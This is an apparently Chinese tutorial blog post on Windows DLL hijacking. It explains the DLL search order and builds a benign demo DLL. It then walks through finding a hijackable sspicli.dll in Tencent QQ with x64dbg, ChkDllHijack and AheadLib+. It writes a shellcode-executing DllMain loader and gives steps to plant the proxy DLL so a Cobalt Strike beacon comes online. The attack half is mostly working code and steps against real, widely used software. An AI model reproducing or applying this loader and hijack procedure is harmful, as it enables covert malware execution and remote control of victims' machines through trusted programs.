动态链接库 .Dll,英文全称:Dynamic Link Library。在Windows系统中运行可执行文件时,系统会调用相应需要的.dll链接库,系统的默认优先级规则是最优先调用是当前目录下的.dll链接库,寻找不到则去系统目录下寻找。
如果程序没有使用SetDllDirectory()函数设定dll加载绝对路径,则程序很大可能性即存在dll劫持注入漏洞。
Windows XP SP2及其以上版本系统默认dll链接库加载优先规则如下:
启用Dll安全模式搜索规则:
1.加载应用程序的目录
2.系统目录
3.16 位系统目录
4.Windows目录
5.当前目录
6.PATH 环境变量中列出的目录
禁用Dll安全模式搜索规则:
1.加载应用程序的目录
2.当前目录
3.系统目录
4.16 位系统目录。
5.Windows目录
6.PATH 环境变量中列出的目录
程序在执行的时候Windows系统会优先在当前目录下寻找所需要.dll链接库,如果寻找不到则再去系统目录下寻找。(上述优先规则仅限于Windows XP SP2及其以上系统)
具体细节可查看微软官方文档:动态链接库搜索顺序
系统环境:Windows10 21H2
VS环境:Visual Studio Community 2022
在vs2022中创建一个dll项目。在dllmain.cpp中写入一个DllHiJack函数。其功能是输出"Hello!Dll Hijack!"。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <iostream>
using namespace std;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void DllHiJack() {
cout << "Hello!DllHijack!" << endl;
}
在framework.h中导出DllHiJack函数,
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void DllHiJack(void); //导出函数
新建一个Windows控制台程序“ConsoleApplication1.cpp”
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
typedef void(*Dllfunction)(void); // 定义Dllfunction函数类
Dllfunction GetDllfunction = NULL;
HINSTANCE hinst = LoadLibrary(L"Dll1.dll"); //动态加载dll链接库
if (hinst != NULL) {
GetDllfunction = (Dllfunction)GetProcAddress(hinst, "DllHiJack"); //获取函数地址
}
if (GetDllfunction != NULL) {
(*GetDllfunction)(); //函数执行
}
}
重新生成解决方案,执行"ConsoleApplication1.exe"可执行文件,输出"Hello!DllHijack!"。运行程序一闪而过,使用pause()函数挂载进程。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <iostream>
using namespace std;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void DllHiJack() {
cout << "Hello!DllHijack!" << endl;
system("pause"); //挂载进程
}
准备工具:X64Dbg,ChkDllHijack ,AheadLib+
目标程序:腾讯QQ
X64dbg负责监控可执行程序运行时系统调用加载的dll链接库,可用其他相关的工具替换,比如微软的进程监视器:Process Monitor,或者火绒剑(目前必须适配火绒主程序,官方暂未放出火绒剑独立版安装程序):火绒剑
X64dbg是一款Windows平台下强大的反汇编逆向动态调试器,而并非专业进程监视器,更推荐选择使用Procmon或者火绒剑。
ChkDllHijack是一款自动化验证dll劫持注入漏洞工具,相同可替换工具也有很多,可以在著名网站GitHub上通过搜索相应关键词寻找。
AheadLib是一款自动化dll劫持代码生成工具,由于原版仅支持x86,这里使用看雪yeyeshun大神的AheadLib+改版,更新了x64支持类/命名空间。
本文主要针对于以上三款工具进行漏洞挖掘以及利用。
工具下载链接:
X64Dbg
ChkDllHijack
AheadLib+
将腾讯QQ挂载到X64dbg调试,监控运行时系统以及程序加载的.dll链接库。
将其导入加载的.dll链接库名或绝对路径复制到ChkDllHijack进行批量验证。经过自动化验证,以下.dll链接库可被进行漏洞利用。
SspiCli.dll
利用AheadLib+输入劫持的dll链接库,输出.cpp代码文件。
腾讯QQ调用的"sspicli.dll"动态链接库绝对路径是"C:\Windows\SysWOW64",SysWOW64是Windows为了让用户在x64系统环境下一样能够运行x86程序而创建一个子系统。该文件夹下存放的都是32位应用程序。所以使用的是AheadLib.exe来导出.cpp文件。以及在后面编译的时候也选择Release或者Debug X86环境,否则编译出来运行将会导致cobalt strike不上线。
在入口函数处加载shellcode
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
char ShellCode[] = "";
void* exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
使用Release或者Debug编译,VisualStudio重新生成解决方案。
将原"sspicli.dll"重命名为"sspicliOrg.dll",编译生成的*.dll重命名为"sspicli.dll"。
将"sspicli.dll"以及"sspicliOrg.dll"移动到腾讯QQ根目录下,运行腾讯QQ,Cobalt Strike上线主机。
文章参考了网络上许多师傅写的相关文章,在此感谢网络上无私奉献的师傅们。本文是一篇比较适合新手向入门级学习的dll劫持漏洞以及白加黑利用的文章,讲解了漏洞成因,如何去挖掘程序中的dll漏洞,以及如何去进行相关的漏洞利用。当然dll劫持还有更多的利用姿势都值得大家去进行深度学习。